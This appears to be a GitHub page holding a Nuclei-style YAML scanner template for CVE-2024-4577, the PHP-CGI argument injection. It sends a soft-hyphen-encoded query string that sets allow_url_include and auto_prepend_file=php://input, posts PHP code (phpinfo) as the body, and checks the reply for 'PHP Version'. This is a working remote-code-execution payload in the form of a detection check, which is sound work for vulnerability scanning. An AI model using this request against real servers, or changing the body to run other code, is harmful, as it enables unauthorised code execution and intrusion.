-
Notifications
You must be signed in to change notification settings - Fork 10
/
CVE-2024-4577.yaml
38 lines (32 loc) · 1.04 KB
/
CVE-2024-4577.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
id: CVE-2024-4577
info:
name: PHP Remote Code Execution via allow_url_include and auto_prepend_file
author: ZephrFish
severity: critical
description: Tests for remote PHP code execution by injecting PHP INI settings through query parameters.
reference:
- https://www.php.net/manual/en/ini.core.php#ini.allow-url-include
- https://www.php.net/manual/en/ini.core.php#ini.auto-prepend-file
tags: rce,php
requests:
- method: POST
path:
- "{{BaseURL}}/index.php?%ADd+allow_url_include=1+%ADd+auto_prepend_file=php://input"
headers:
User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
Accept: "*/*"
Content-Type: "application/x-www-form-urlencoded"
Connection: "keep-alive"
body: |
<?php
phpinfo();
?>
matchers-condition: and
matchers:
- type: word
words:
- "PHP Version" # Common output in phpinfo()
part: body
- type: status
status:
- 200